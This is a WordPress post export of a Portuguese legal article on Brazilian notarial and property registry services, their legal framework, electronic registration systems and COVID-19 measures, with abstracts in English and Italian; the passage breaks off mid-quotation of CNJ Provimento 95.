{"id":17927,"date":"2020-09-25T10:21:53","date_gmt":"2020-09-25T14:21:53","guid":{"rendered":"https:\/\/www.anoregmt.org.br\/novo\/?p=17927"},"modified":"2020-09-25T10:21:53","modified_gmt":"2020-09-25T14:21:53","slug":"artigo-os-servicos-notariais-e-de-registros-brasileiros-e-a-afirmacao-da-cultura-digital-com-covid-19-do-contrato-digital-a-audicao-telematica","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/artigo-os-servicos-notariais-e-de-registros-brasileiros-e-a-afirmacao-da-cultura-digital-com-covid-19-do-contrato-digital-a-audicao-telematica\/","title":{"rendered":"Artigo: Os servi\u00e7os notariais e de registros brasileiros e a afirma\u00e7\u00e3o da cultura digital com COVID 19: do contrato digital \u00e0 audi\u00e7\u00e3o telem\u00e1tica"},"content":{"rendered":"<p style=\"text-align: justify;\"><strong>Os servi\u00e7os notariais e de registros brasileiros e a afirma\u00e7\u00e3o da cultura digital com COVID 19: do contrato digital \u00e0 audi\u00e7\u00e3o telem\u00e1tica<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>\u00a0<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>Servizi notarili e anagrafici brasiliani e l&#8217;affermazione della cultura digitale con COVID 19: dal contratto digitale all&#8217;udienza telematica<\/strong><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><em>Prof. Jos\u00e9 Arimat\u00e9ia Barbosa<a href=\"#_ftn1\" name=\"_ftnref1\"><strong>[1]<\/strong><\/a><\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>Resumo:<\/strong> Este artigo tem como objetico demonstrar a todos a import\u00e2ncia dos Servi\u00e7os notariais e registrais no Brasil, com destaque para o cumprinmento da fun\u00e7\u00e3o s\u00f3cio\/econ\u00f4mica\/ambiental por eles exercidas, quer seja como auxiliar do Poder Judici\u00e1rio na preven\u00e7\u00e3o de lit\u00edgios e promo\u00e7\u00e3o da paz social, quer seja no respeito \u00e0 dignidade da pessoa humana e aos seus direitos naturais e constitucionais em vig\u00eancia no Pa\u00eds, sempre alicer\u00e7ados nos princ\u00edpios da bio\u00e9tica e do bio direito.<\/p>\n<p style=\"text-align: justify;\"><strong>Sum\u00e1rio:<\/strong> 1. Introdu\u00e7\u00e3o: Breve hist\u00f3ria do servi\u00e7o notarial e registral no Brasil; 1.1. Atividade Notarial e de Registros P\u00fablicos \u2013 CF\/88; 2. Conceito e finalidade do Sistema Notarial e Registral; 3. Miss\u00e3o do Not\u00e1rio e Registrador; 4. Registro de Im\u00f3veis: artigos 167 a 288 da Lei 6.015\/1973 e art. 5\u00ba, IV, da Lei 8.935\/1994; 4.1. Col\u00e9gio Registral do Brasil (CORI\/BR) &#8211; Quem somos n\u00f3s?; 5. Moderniza\u00e7\u00e3o do Sistema de Registro da propriedade; 6. Rede de Gest\u00e3o Integrada de Informa\u00e7\u00f5es Territoriais; 7. A\u00e7\u00f5es Proativas nas Serventias de Registro de Im\u00f3veis durante a Pandemia \u2013 COVID 19; 8. Impactos da COVID-19 no \u00e2mbito das Serventias; 9. Considera\u00e7\u00f5es Finais.<\/p>\n<p style=\"text-align: justify;\"><strong>Palavras-chave:<\/strong> Brasil, COVID-19, Cultura Digital, Registros, Servi\u00e7os Notariais.<\/p>\n<p style=\"text-align: justify;\"><strong>\u00a0<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>Abstract:<\/strong> This article aims to demonstrate to everyone the importance of notary and registry services in Brazil, with emphasis on fulfilling the social \/ economic \/ environmental function they perform, whether as an aid to the Judiciary in preventing litigation and promoting social peace. , whether in respect for the dignity of the human person and their natural and constitutional rights in force in the country, always based on the principles of bioethics and bio law.<\/p>\n<p style=\"text-align: justify;\"><strong>Summary:<\/strong> 1. Introduction: Brief history of the notary and registrar service in Brazil; 1.1. Notarial and Public Records Activity &#8211; CF \/ 88; 2. Concept and purpose of the Notary and Registry System; 3. Mission of the Notary and Registrar; 4. Property Registration: Articles 167 to 288 of Law 6,015 \/ 1973 and art. 5, IV, of Law 8.935 \/ 1994; 4.1. Col\u00e9gio Registral do Brasil (CORI \/ BR) &#8211; Who are we ?; 5. Modernization of the Property Registration System; 6. Integrated Territorial Information Management Network; 7. Proactive Actions in the Property Registry Services during the Pandemic &#8211; COVID 19; 8. Impacts of COVID-19 in the scope of Services; 9. Final Considerations.<\/p>\n<p style=\"text-align: justify;\"><strong>Keywords:<\/strong> Brazil, COVID-19, Digital Culture, Records, Notarial Services.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>Astratto:<\/strong> Questo articolo mira a dimostrare a tutti l&#8217;importanza dei servizi notarili e di registro in Brasile, con enfasi sull&#8217;adempimento della funzione sociale \/ economica \/ ambientale che svolgono, sia come aiuto alla magistratura nella prevenzione delle controversie e nella promozione della pace sociale. , sia nel rispetto della dignit\u00e0 della persona umana e dei suoi diritti naturali e costituzionali in vigore nel paese, sempre sulla base dei principi della bioetica e del diritto biologico.<\/p>\n<p style=\"text-align: justify;\"><strong>Riepilogo:<\/strong> 1. Introduzione: Breve storia del servizio di notaio e registrar in Brasile; 1.1. Attivit\u00e0 notarili e atti pubblici &#8211; CF \/ 88; 2. Concetto e scopo del sistema notarile e del registro; 3. Missione del Notaio e cancelliere; 4. Registrazione della propriet\u00e0: articoli da 167 a 288 della legge 6.015 \/ 1973 e art. 5, IV, della Legge 8.935 \/ 1994; 4.1. Col\u00e9gio Registral do Brasil (CORI \/ BR) &#8211; Chi siamo? 5. Modernizzazione del sistema di registrazione della propriet\u00e0; 6. Rete integrata di gestione delle informazioni territoriali; 7. Azioni proattive nei servizi di anagrafe immobiliare durante la pandemia &#8211; COVID 19; 8. Impatti di COVID-19 nell&#8217;ambito dei servizi; 9. Considerazioni finali..<\/p>\n<p style=\"text-align: justify;\"><strong>Parole chiave:<\/strong> Brasile, COVID-19, cultura digitale, documenti, servizi notarili.<\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\">\n<li><strong>Introdu\u00e7\u00e3o: Breve hist\u00f3ria do servi\u00e7o notarial e registral no Brasil.<\/strong><\/li>\n<\/ol>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Pedro \u00c1lvares Cabral, encarregado pelo Rei portugu\u00eas, de acordo com a hist\u00f3ria oficial, cumprindo o tratado de Tordesilhas, toma posse das terras brasileiras e para registrar o fato, traz consigo Pero Vaz de Caminha, o escriv\u00e3o, a quem cabia todos os registros di\u00e1rios de fatos ocorridos dentro ou fora das caravelas. Posteriormente, toda essa documenta\u00e7\u00e3o p\u00fablica portuguesa, feita pelo escriv\u00e3o designado, \u00e9 enviada ao soberano.<\/p>\n<p style=\"text-align: justify;\">Esse relato de Pero Vaz de Caminha, por ser o primeiro documento sobre as terras brasileiras, \u00e9 tido como \u201cCertid\u00e3o de Nascimento do Brasil\u201d. Observa-se que Caminha foi o tabeli\u00e3o oficial da Coroa Lusitana e registrador dos nomes da nova terra: Monte Pascoal; Terra de Vera Cruz; Ilha de Vera Cruz e Terra de Santa Cruz.<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li><strong> Atividade Notarial e de Registros P\u00fablicos \u2013 CF\/88<\/strong><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Reza o art. 22, XXV da Carta Magna que compete privativamente \u00e0 Uni\u00e3o legislar sobre registros p\u00fablicos.<\/p>\n<p style=\"text-align: justify;\">No mesmo diploma, o art. 236 assim refere-se \u00e0 atividade notarial e de registro: <em>\u201cOs servi\u00e7os notariais e de registro s\u00e3o exercidos em car\u00e1ter privado, por delega\u00e7\u00e3o do Poder P\u00fablico<\/em>\u201d<a href=\"#_ftn2\" name=\"_ftnref2\">[2]<\/a>.<\/p>\n<p style=\"text-align: justify;\">Dessa forma, a partir da Constitui\u00e7\u00e3o Federal do Brasil\/1988, os not\u00e1rios e registradores s\u00e3o delegat\u00e1rios do servi\u00e7o p\u00fablico, cujo ingresso somente se d\u00e1 a partir do concurso p\u00fablico de provas e t\u00edtulos (art. 236, \u00a73\u00ba, CF\/88).<\/p>\n<p style=\"text-align: justify;\">O par\u00e1grafo 1\u00ba do aludido artigo disp\u00f5e, tamb\u00e9m, que a Lei regular\u00e1 as atividades, disciplinar\u00e1 a responsabilidade civil e criminal dos not\u00e1rios, dos oficiais de registro e de seus prepostos, e definir\u00e1 a fiscaliza\u00e7\u00e3o de seus atos pelo Poder Judici\u00e1rio.<\/p>\n<p style=\"text-align: justify;\">Nesse sentido, inserem-se a Lei 6.015\/73, intitulada Lei de Registros P\u00fablicos &#8211; LRP e a Lei 8.935\/94 \u2013 Lei dos Not\u00e1rios e Registradores (LNR).<\/p>\n<p style=\"text-align: justify;\">O art. 1\u00ba da Lei 6.015\/73 disp\u00f5e que \u201c<em>Os servi\u00e7os concernentes aos Registros P\u00fablicos, estabelecidos pela legisla\u00e7\u00e3o civil para autenticidade, seguran\u00e7a e efic\u00e1cia dos atos jur\u00eddicos, ficam sujeitos ao regime estabelecido nesta lei\u201d<a href=\"#_ftn3\" name=\"_ftnref3\"><strong>[3]<\/strong><\/a><\/em>. Referido artigo, em seu paragrafo 1\u00ba, estabelece, ainda, as modalidades de registros regulamentos na Lei.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Art. 1\u00ba Os servi\u00e7os concernentes aos Registros P\u00fablicos, estabelecidos pela legisla\u00e7\u00e3o civil para autenticidade, seguran\u00e7a e efic\u00e1cia dos atos jur\u00eddicos, ficam sujeitos ao regime estabelecido nesta Lei.<\/p>\n<ul style=\"text-align: justify;\">\n<li>1\u00ba Os Registros referidos neste artigo s\u00e3o os seguintes:<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">I &#8211; o registro civil de pessoas naturais;<\/p>\n<p style=\"text-align: justify;\">II &#8211; o registro civil de pessoas jur\u00eddicas;<\/p>\n<p style=\"text-align: justify;\">III &#8211; o registro de t\u00edtulos e documentos;<\/p>\n<p style=\"text-align: justify;\">IV &#8211; o registro de im\u00f3veis.<\/p>\n<ul style=\"text-align: justify;\">\n<li>2\u00ba Os demais registros reger-se-\u00e3o por leis pr\u00f3prias.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">De igual forma, a Lei 8935\/94 disp\u00f5e que <em>\u201cOs Servi\u00e7os Notariais e de Registro s\u00e3o os de organiza\u00e7\u00e3o t\u00e9cnica e administrativa destinados a garantir a publicidade, autenticidade, seguran\u00e7a e efic\u00e1cia dos atos jur\u00eddicos\u201d<\/em> (art. 1\u00ba da Lei 8.935\/94)<a href=\"#_ftn4\" name=\"_ftnref4\">[4]<\/a>.<\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"2\">\n<li><strong>Conceito e finalidade do sistema notarial e registral<\/strong><\/li>\n<\/ol>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Conjunto de normas que regulam o regime jur\u00eddico notarial e registral brasileiro. O registro \u00e9 constitutivo, isto \u00e9, cria um direito e o publicita para todos e declarativo, quando se limita a declarar um direito preexistente.<\/p>\n<p style=\"text-align: justify;\">O sistema notarial e de registros servem para criar, modificar, declarar e extinguir direitos no plano da vida em sociedade.<\/p>\n<p style=\"text-align: justify;\">Assim como o juiz atua visando a restabelecer a ordem quando rompida, criando, modificando, extinguindo e declarando direitos, o not\u00e1rio e o registrador atuam na vida normal da sociedade com os mesmos prop\u00f3sitos, carregando sempre consigo o maior de todos os deveres que se espera de um homem p\u00fablico, qual seja o da imparcialidade e\/ou improbidade.<\/p>\n<p style=\"text-align: justify;\">A relev\u00e2ncia de seus objetivos institucionais e seus reais benef\u00edcios, na maioria das vezes, \u00e9 visto de forma distorcida pela popula\u00e7\u00e3o, que enxerga tal servi\u00e7o como marca do ran\u00e7o burocr\u00e1tico brasileiro.<\/p>\n<p style=\"text-align: justify;\">Ora, desde a Constitui\u00e7\u00e3o Federal de 1988 os servi\u00e7os notariais e de registros p\u00fablicos est\u00e3o amplificando suas compet\u00eancias em face dos direitos fundamentais, colaborando para a preven\u00e7\u00e3o e solu\u00e7\u00e3o de lit\u00edgios ao oferecer seguran\u00e7a jur\u00eddica aos atos e fatos formalizados em raz\u00e3o da sua compet\u00eancia.<\/p>\n<p style=\"text-align: justify;\">Ademais, salienta-se que os servi\u00e7os extrajudiciais fazem parte da Administra\u00e7\u00e3o P\u00fablica como atividade jur\u00eddica, portanto, sujeitam-se aos princ\u00edpios do Direito Administrativo, dentre eles, aqueles previstos no art. 37 da Constitui\u00e7\u00e3o Federal, quais sejam: legalidade, impessoalidade, moralidade, publicidade e efici\u00eancia (LIMPE)<a href=\"#_ftn5\" name=\"_ftnref5\">[5]<\/a>.<\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"3\">\n<li><strong>Miss\u00e3o do Not\u00e1rio e Registrador<\/strong><\/li>\n<\/ol>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Aos not\u00e1rios e registradores, no sistema registral e notarial brasileiro, compete dar publicidade a fatos jur\u00eddicos que a todos interessam e afetam, orientar as pessoas, bem como prevenir lit\u00edgios, objetivando a Paz social. Ademais, cabem aos delegat\u00e1rios intermediar os contratos e atos solenes que marcam a vida das pessoas e coisas, desde o nascimento, casamento e \u00f3bito at\u00e9 a aquisi\u00e7\u00e3o e aliena\u00e7\u00e3o de bens e a sucess\u00e3o familiar.<\/p>\n<p style=\"text-align: justify;\">Com efeito, para cumprir a sua miss\u00e3o, o not\u00e1rio e\/ou registrador deve ser um jurista, conhecedor n\u00e3o apenas do direito privado, como tamb\u00e9m de outras mat\u00e9rias e\/ou ci\u00eancias humanas correlatas que possam influenciar sobre os atos de sua compet\u00eancia.<\/p>\n<p style=\"text-align: justify;\">Servem a boa-f\u00e9 dos neg\u00f3cios, \u00e0 estabilidade e seguran\u00e7a das conven\u00e7\u00f5es \u00e0 publicidade dos atos e fatos jur\u00eddicos, ao recha\u00e7o da fraude e \u00e0 garantia da validade e da efic\u00e1cia de todas as trocas e do com\u00e9rcio humano.<\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"4\">\n<li><strong>Registro de im\u00f3veis: artigos 167 a 288 da Lei 6.015\/1973 e art. 5\u00ba, IV, da Lei 8.935\/1994.<\/strong><\/li>\n<\/ol>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Ao Of\u00edcio de Im\u00f3veis cumpre, na forma da lei, garantir autenticidade, publicidade, seguran\u00e7a, disponibilidade, a efic\u00e1cia dos atos jur\u00eddicos constitutivos, declarat\u00f3rios, translativos ou extintivos de direitos reais sobre im\u00f3veis.<\/p>\n<p style=\"text-align: justify;\">O Registro de Im\u00f3veis, em s\u00edntese, \u00e9 o reposit\u00f3rio de todas as informa\u00e7\u00f5es da propriedade imobili\u00e1ria, estabelecendo assim seu respectivo direito.<\/p>\n<p style=\"text-align: justify;\">Devem ser encaminhadas ao registro a compra e venda de terrenos e propriedades, ou qualquer circunst\u00e2ncia que afete a propriedade registrada, como uma hipoteca ou penhora, ou o casamento de seu propriet\u00e1rio.<\/p>\n<p style=\"text-align: justify;\">Ao examinar cada solicita\u00e7\u00e3o, aplica-se a legisla\u00e7\u00e3o para decidir se e como deve ser registrada, concretizando o princ\u00edpio da legalidade, o qual os registradores est\u00e3o adstritos.<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li><strong> Col\u00e9gio Registral do Brasil (CORI\/BR) &#8211; <\/strong><strong>Quem somos n\u00f3s?<a href=\"#_ftn6\" name=\"_ftnref6\">[6]<\/a><\/strong><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">O Col\u00e9gio de Registro de Im\u00f3veis do Brasil &#8211; CORI BR \u00e9 a entidade que congrega os Registradores de Im\u00f3veis do Brasil e \u00e9 composto pelas associa\u00e7\u00f5es estaduais representativas dos Oficiais.<\/p>\n<p style=\"text-align: justify;\">O Registro de Im\u00f3veis do Brasil \u00e9 composto por 3.297 servi\u00e7os de registro de im\u00f3veis distribu\u00eddos por todo o territ\u00f3rio nacional. Os Oficiais de Registro de im\u00f3veis s\u00e3o bachar\u00e9is em direito, aprovados em concurso p\u00fablico de provas e t\u00edtulos promovido pelo Poder Judici\u00e1rio.<\/p>\n<p style=\"text-align: justify;\">De acordo com Banco Mundial, at\u00e9 70% do patrim\u00f4nio de uma na\u00e7\u00e3o \u00e9 composto pela propriedade imobili\u00e1ria. O Registro de Im\u00f3veis do Brasil tem consci\u00eancia da import\u00e2ncia de sua contribui\u00e7\u00e3o para o ambiente de neg\u00f3cios, a circula\u00e7\u00e3o do cr\u00e9dito e o desenvolvimento econ\u00f4mico.<\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"5\">\n<li><strong>Moderniza\u00e7\u00e3o do Sistema de Registro da propriedade<\/strong><\/li>\n<\/ol>\n<p style=\"text-align: justify;\"><strong>\u00a0<\/strong><\/p>\n<p style=\"text-align: justify;\">Atualmente, verifica-se que todo o sistema registral e notarial est\u00e1 em constante avan\u00e7os tecnol\u00f3gicos, e no Registro de Im\u00f3veis destaca-se o Sistema de Registro Eletr\u00f4nico, editado pela MP &#8211; 759\/2016, convertida na Lei 13.465\/17<a href=\"#_ftn7\" name=\"_ftnref7\">[7]<\/a>.<\/p>\n<p style=\"text-align: justify;\">O art. 76 do referido diploma disp\u00f5e que o Sistema de Registro de Im\u00f3veis Eletr\u00f4nico &#8211; SREI ser\u00e1 implementado e operado, em \u00e2mbito nacional, pelo Operador Nacional do Sistema de Registro de Im\u00f3veis Eletr\u00f4nico &#8211; ONR<a href=\"#_ftn8\" name=\"_ftnref8\">[8]<\/a>. Ademais, estabelece todo o procedimento e tr\u00e2mite que dever\u00e1 ser adotado para a implementa\u00e7\u00e3o de tal mecanismo, conforme se verifica.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Art. 76 \u2013 O Sistema de Registro de Im\u00f3veis Eletr\u00f4nico &#8211; SREI ser\u00e1 implementado e operado, em \u00e2mbito nacional, pelo Operador Nacional do Sistema de Registro de Im\u00f3veis Eletr\u00f4nico &#8211; ONR.<\/p>\n<ul style=\"text-align: justify;\">\n<li>1\u00ba O procedimento administrativo e os atos de registro decorrentes da Reurb ser\u00e3o feitos preferencialmente por meio eletr\u00f4nico, na forma dos arts. 37 e 41 da Lei n\u00b0 11.977, de 2009.<\/li>\n<li>2\u00ba. O ONR ser\u00e1 organizado como pessoa jur\u00eddica de direito privado, sem fins lucrativos.<\/li>\n<li>3\u00ba. Fica o Instituto de Registro de Im\u00f3veis do Brasil &#8211; IRIB autorizado a constituir o ONR e elaborar o seu estatuto, no prazo de cento e oitenta dias, contado de 22 de dezembro de 2016, e submeter \u00e0 aprova\u00e7\u00e3o por meio de ato da Corregedoria Nacional do Conselho Nacional de Justi\u00e7a.<\/li>\n<li>4\u00ba. Caber\u00e1 \u00e0 Corregedoria Nacional de Justi\u00e7a do Conselho Nacional de Justi\u00e7a exercer a fun\u00e7\u00e3o de agente regulador do ONR e zelar pelo cumprimento de seu estatuto.<\/li>\n<li>5\u00ba. As unidades do servi\u00e7o de registro de im\u00f3veis dos Estados e do Distrito Federal integram o SREI e ficam vinculadas ao ONR.<\/li>\n<li>6\u00ba. Os servi\u00e7os eletr\u00f4nicos ser\u00e3o disponibilizados, sem \u00f4nus, ao Poder Judici\u00e1rio, ao Poder Executivo Federal, ao Minist\u00e9rio P\u00fablico e aos entes p\u00fablicos previstos nos regimentos de custas e emolumentos dos Estados e do Distrito Federal, e aos \u00f3rg\u00e3os encarregados de investiga\u00e7\u00f5es criminais, fiscaliza\u00e7\u00e3o tribut\u00e1ria e recupera\u00e7\u00e3o de ativos.<\/li>\n<li>7\u00ba. A administra\u00e7\u00e3o p\u00fablica federal acessar\u00e1 as informa\u00e7\u00f5es do SREI por meio do Sistema Nacional de Gest\u00e3o e Informa\u00e7\u00f5es Territoriais &#8211; SINTER- na forma de regulamento.<\/li>\n<li>8\u00ba. Ato da Corregedoria Nacional de Justi\u00e7a do Conselho Nacional de Justi\u00e7a dispor\u00e1 sobre outras atribui\u00e7\u00f5es a serem exercidas pelo ONR.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Al\u00e9m disso, cita-se, ainda, a Central Nacional de Registro de Im\u00f3veis (CNRI) (MP 897\/19- convertida em Lei 13.986\/2020)<a href=\"#_ftn9\" name=\"_ftnref9\">[9]<\/a> que ser\u00e1 respons\u00e1vel por centralizar as informa\u00e7\u00f5es de registro imobili\u00e1rio de todo o pa\u00eds, seja em rela\u00e7\u00e3o aos bens ou a padroniza\u00e7\u00e3o da documenta\u00e7\u00e3o dos mesmos.<\/p>\n<p style=\"text-align: justify;\">Outrossim, a CNRI prestar\u00e1 os servi\u00e7os de protocolo eletr\u00f4nico, expedi\u00e7\u00e3o de certid\u00f5es, pesquisa eletr\u00f4nica de bens im\u00f3veis, armazenamento de documentos eletr\u00f4nicos, integra\u00e7\u00e3o de todas as indisponibilidades de bens decretadas por magistrados e autoridades, consulta \u00e0s informa\u00e7\u00f5es do im\u00f3vel<a href=\"#_ftn10\" name=\"_ftnref10\">[10]<\/a>.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>\u00a0<\/strong><\/p>\n<ol style=\"text-align: justify;\" start=\"6\">\n<li><strong>Rede de Gest\u00e3o Integrada de Informa\u00e7\u00f5es Territoriais<a href=\"#_ftn11\" name=\"_ftnref11\">[11]<\/a><\/strong><\/li>\n<\/ol>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">O SINTER &#8211; Sistema Nacional de Gest\u00e3o de Informa\u00e7\u00f5es Territoriais \u00e9 um banco de dados espaciais, equivalente ao livro 2 RGI, produzido pelos Servi\u00e7os de Registros P\u00fablicos, de modo que todos os direitos reais devem possuir o registro jur\u00eddico.<\/p>\n<p style=\"text-align: justify;\">O objetivo da Rede de Gest\u00e3o Integrada de Informa\u00e7\u00f5es Territoriais \u00e9 criar um cadastro multifinalit\u00e1rio no pa\u00eds- cadastro fiscal, onde haja fluxos de dados cadastrais de im\u00f3veis urbanos e rurais, produzidos pela Uni\u00e3o (CNIR) e Munic\u00edpios (CTM\u2019S &#8211; Cadastros Territoriais Multifinalit\u00e1rios).<\/p>\n<p style=\"text-align: justify;\">Os benef\u00edcios gerais econ\u00f4micos \u00e9 o impacto na redistribui\u00e7\u00e3o da carga fiscal efetiva, controle significativo sobre os delitos contra a ordem tribut\u00e1ria, maior formaliza\u00e7\u00e3o da economia e da propriedade, al\u00e9m de proporcionar maior seguran\u00e7a jur\u00eddica nas transa\u00e7\u00f5es imobili\u00e1rias.<\/p>\n<p style=\"text-align: justify;\">Por sua vez, os benef\u00edcios espec\u00edficos para o contribuinte \u00e9 a seguran\u00e7a jur\u00eddica da propriedade (transmiss\u00e3o de bens, realiza\u00e7\u00e3o do direito de propriedade e garantia inequ\u00edvoca) e preven\u00e7\u00e3o de les\u00e3o a direito de fam\u00edlia, aliena\u00e7\u00e3o m\u00faltipla dos im\u00f3veis e fraudes em cart\u00f3rios atrav\u00e9s da atualiza\u00e7\u00e3o cadastral imediata.<\/p>\n<p style=\"text-align: justify;\">Ademais, essa integra\u00e7\u00e3o proporcionar\u00e1 benef\u00edcio aos munic\u00edpios, visto que haver\u00e1 um aumento da arrecada\u00e7\u00e3o de impostos municipais, tais como ITBI e IPTU, com dados atualizados pelos servi\u00e7os extrajudiciais (identifica\u00e7\u00e3o instant\u00e2nea dos propriet\u00e1rio\/contribuinte\/que agiliza a arrecada\u00e7\u00e3o) e cruzamento do valor de transa\u00e7\u00e3o e o valor declarado na declara\u00e7\u00e3o de ativos do imposto de renda.<\/p>\n<p style=\"text-align: justify;\">Nestes termos, a fim de se ter uma maior descentraliza\u00e7\u00e3o do poder e fortalecimento dos munic\u00edpios, \u00e9 necess\u00e1rio o fim da legisla\u00e7\u00e3o centralizadora, al\u00e9m disso implementar uma pol\u00edtica tribut\u00e1ria condizente, programas constantes de apoio t\u00e9cnico aos Munic\u00edpios, fim da administra\u00e7\u00e3o convencional, exist\u00eancia de recursos humanos habilitados em n\u00edvel local, capacidade de gest\u00e3o, planejamento participativo na localidade, participa\u00e7\u00e3o efetiva, real do mun\u00edcipe, ao reverso de uma participa\u00e7\u00e3o apenas formal.<\/p>\n<p style=\"text-align: justify;\">Com a exist\u00eancia de tais condi\u00e7\u00f5es, haver\u00e1 como consequ\u00eancia: a aproxima\u00e7\u00e3o do Estado; a certeza de mais racionalidade e economia de recursos, dando certeza de maior articula\u00e7\u00e3o e a\u00e7\u00e3o interinstitucional no que se espera dos n\u00edveis federal, estadual e municipal; \u00e0 diminui\u00e7\u00e3o e simplifica\u00e7\u00e3o do aparelho estatal.<\/p>\n<p style=\"text-align: justify;\">A descentraliza\u00e7\u00e3o para os estados e munic\u00edpios \u00e9 a melhor alternativa para uma regulariza\u00e7\u00e3o fundi\u00e1ria eficiente, considerando que para elabora\u00e7\u00e3o de projetos e programas de sucesso h\u00e1 necessidade de primeiro conhecer seu territ\u00f3rio em sua totalidade, suas caracter\u00edsticas e detalhamentos;<\/p>\n<p style=\"text-align: justify;\">Um bom cadastro permite ao gestor p\u00fablico conhecer um sistema equitativo de arrecada\u00e7\u00e3o de tributos sobre propriedade imobili\u00e1ria, gerando consequentemente uma justa e melhor arrecada\u00e7\u00e3o tribut\u00e1ria (IPTU, ITR, ITBI etc).<a href=\"#_ftn12\" name=\"_ftnref12\">[12]<\/a><\/p>\n<p style=\"text-align: justify;\">O projeto\u201d Meu munic\u00edpio \u00e0 luz do Registro de Im\u00f3veis\u201d como modelo a ser implantado em todo estado atrav\u00e9s da C\u00e2mara Setorial Tem\u00e1tica da Assembleia Legislativa do Estado de MT.<\/p>\n<p style=\"text-align: justify;\">O objetivo desse projeto piloto \u00e9 apresentar o status do registro jur\u00eddico do per\u00edmetro rural e urbano do munic\u00edpio de Campo Novo do Parecis\/MT; gerar informa\u00e7\u00f5es precisas e detalhadas para excel\u00eancia dos servi\u00e7os do registro de im\u00f3veis; al\u00e9m de oferecer dados oficiais e atualizados para projetos de regulariza\u00e7\u00e3o fundi\u00e1ria, planejamento urbano, gest\u00e3o ambiental e pol\u00edticas p\u00fablicas de forma geral, contribuindo para uma melhor governan\u00e7a fundi\u00e1ria.<\/p>\n<p style=\"text-align: justify;\">A governan\u00e7a de terras \u00e9 a sa\u00edda para garantir regras claras de uso e ocupa\u00e7\u00e3o do solo (Professor Bastiaan Reydon- UNICAMP)<a href=\"#_ftn13\" name=\"_ftnref13\">[13]<\/a>.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"7\">\n<li><strong>A\u00e7\u00f5es Proativas nas Serventias de Registro de Im\u00f3veis durante a Pandemia \u2013 COVID 19<\/strong><\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Exemplos de medidas pr\u00e1ticas adotadas pelos Servi\u00e7os notariais e de registros, em obedi\u00eancia \u00e0s recomenda\u00e7\u00f5es da OMS: controle de pessoas nos espa\u00e7os f\u00edsicos dos cart\u00f3rios, espa\u00e7amentos para atendimento ao p\u00fablico, disponibiliza\u00e7\u00e3o de \u00e1lcool em gel para higieniza\u00e7\u00e3o e o uso obrigat\u00f3rio de m\u00e1scaras.<\/p>\n<p style=\"text-align: justify;\">Em tempos de pandemia de Covid-19, reiteradas tem sido as imposi\u00e7\u00f5es de medidas legais, oriundas dos tr\u00eas poderes da Rep\u00fablica Federativa do Brasil. O fazendo Legislativo &#8211; Atrav\u00e9s de Leis. O judici\u00e1rio, por meio dos Provimentos, Portarias, Recomenda\u00e7\u00f5es, Resolu\u00e7\u00f5es, Instru\u00e7\u00f5es Normativas e outros editados pelo Conselho Nacional de Justi\u00e7a (CNJ) e Corregedorias Gerais de Justi\u00e7a (CGJs) das 27 Unidades Federativas relativas \u00e0 quarentena e isolamento social. Por sua vez, cabe ao Executivo a edi\u00e7\u00e3o de Decretos e\/ou outros suportes jur\u00eddicos impondo o isolamento social e quarentena.<\/p>\n<p style=\"text-align: justify;\">Todo esse suporte jur\u00eddico objetiva combater\/ou reduzir a dissemina\u00e7\u00e3o do covid-19, mantendo-se equilibrado o bin\u00f4mio: prevenir a sua sa\u00fade do povo em geral sem, contudo, paralisar a economia do Pa\u00eds.<\/p>\n<p style=\"text-align: justify;\">Destinadas \u00e0 sobreviv\u00eancia da sociedade, v\u00e1rias s\u00e3o as atividades que foram destacadas nos mencionados diplomas legais. Dentre elas encontram-se os Servi\u00e7os notariais sendo inseridos na grande maioria dos Decretos editados pelos munic\u00edpios, baseados no Provimento 95 do CNJ, de 01\/04\/2020<a href=\"#_ftn14\" name=\"_ftnref14\">[14]<\/a>:<\/p>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td><\/td>\n<\/tr>\n<tr>\n<td>&nbsp;<\/td>\n<td>EMENTA<\/td>\n<\/tr>\n<tr>\n<td><\/td>\n<td>\n<p style=\"text-align: justify;\">Disp\u00f5e sobre o funcionamento dos servi\u00e7os notariais e de registro durante o per\u00edodo de Emerg\u00eancia em Sa\u00fade P\u00fablica de Import\u00e2ncia Nacional (ESPIN), em decorr\u00eancia da infec\u00e7\u00e3o humana pelo novo Coronav\u00edrus (Sars-Cov-2), enquanto servi\u00e7o p\u00fablico essencial que possui regramento pr\u00f3prio no art. 236 da Constitui\u00e7\u00e3o Federal e na Lei n\u00ba 8.935, de 18 de novembro de 